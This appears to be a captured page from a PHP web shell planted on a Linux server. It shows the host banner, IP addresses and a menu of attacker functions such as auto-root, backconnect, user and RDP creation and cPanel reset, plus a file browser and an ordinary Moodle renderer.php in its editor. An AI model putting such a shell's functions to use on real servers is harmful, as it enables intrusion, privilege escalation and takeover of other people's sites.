Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.195
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
type /
truefalse /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
edit_truefalse_form.php
4.56
KB
-rw-r--r--
lib.php
1.65
KB
-rw-r--r--
question.php
5.1
KB
-rw-r--r--
questiontype.php
7.52
KB
-rw-r--r--
renderer.php
5.48
KB
-rw-r--r--
styles.css
85
B
-rw-r--r--
version.php
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : renderer.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * True-false question renderer class. * * @package qtype * @subpackage truefalse * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Generates the output for true-false questions. * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_truefalse_renderer extends qtype_renderer { public function formulation_and_controls(question_attempt $qa, question_display_options $options) { $question = $qa->get_question(); $response = $qa->get_last_qt_var('answer', ''); $inputname = $qa->get_qt_field_name('answer'); $trueattributes = array( 'type' => 'radio', 'name' => $inputname, 'value' => 1, 'id' => $inputname . 'true', ); $falseattributes = array( 'type' => 'radio', 'name' => $inputname, 'value' => 0, 'id' => $inputname . 'false', ); if ($options->readonly) { $trueattributes['disabled'] = 'disabled'; $falseattributes['disabled'] = 'disabled'; } // Work out which radio button to select (if any). $truechecked = false; $falsechecked = false; $responsearray = array(); if ($response) { $trueattributes['checked'] = 'checked'; $truechecked = true; $responsearray = array('answer' => 1); } else if ($response !== '') { $falseattributes['checked'] = 'checked'; $falsechecked = true; $responsearray = array('answer' => 1); } // Work out visual feedback for answer correctness. $trueclass = ''; $falseclass = ''; $truefeedbackimg = ''; $falsefeedbackimg = ''; if ($options->correctness) { if ($truechecked) { $trueclass = ' ' . $this->feedback_class((int) $question->rightanswer); $truefeedbackimg = $this->feedback_image((int) $question->rightanswer); } else if ($falsechecked) { $falseclass = ' ' . $this->feedback_class((int) (!$question->rightanswer)); $falsefeedbackimg = $this->feedback_image((int) (!$question->rightanswer)); } } $radiotrue = html_writer::empty_tag('input', $trueattributes) . html_writer::tag('label', get_string('true', 'qtype_truefalse'), array('for' => $trueattributes['id'], 'class' => 'ml-1')); $radiofalse = html_writer::empty_tag('input', $falseattributes) . html_writer::tag('label', get_string('false', 'qtype_truefalse'), array('for' => $falseattributes['id'], 'class' => 'ml-1')); $result = ''; $result .= html_writer::tag('div', $question->format_questiontext($qa), array('class' => 'qtext')); $result .= html_writer::start_tag('div', array('class' => 'ablock')); $result .= html_writer::tag('div', get_string('selectone', 'qtype_truefalse'), array('class' => 'prompt')); $result .= html_writer::start_tag('div', array('class' => 'answer')); $result .= html_writer::tag('div', $radiotrue . ' ' . $truefeedbackimg, array('class' => 'r0' . $trueclass)); $result .= html_writer::tag('div', $radiofalse . ' ' . $falsefeedbackimg, array('class' => 'r1' . $falseclass)); $result .= html_writer::end_tag('div'); // Answer. $result .= html_writer::end_tag('div'); // Ablock. if ($qa->get_state() == question_state::$invalid) { $result .= html_writer::nonempty_tag('div', $question->get_validation_error($responsearray), array('class' => 'validationerror')); } return $result; } public function specific_feedback(question_attempt $qa) { $question = $qa->get_question(); $response = $qa->get_last_qt_var('answer', ''); if ($response) { return $question->format_text($question->truefeedback, $question->truefeedbackformat, $qa, 'question', 'answerfeedback', $question->trueanswerid); } else if ($response !== '') { return $question->format_text($question->falsefeedback, $question->falsefeedbackformat, $qa, 'question', 'answerfeedback', $question->falseanswerid); } } public function correct_response(question_attempt $qa) { $question = $qa->get_question(); if ($question->rightanswer) { return get_string('correctanswertrue', 'qtype_truefalse'); } else { return get_string('correctanswerfalse', 'qtype_truefalse'); } } }
Close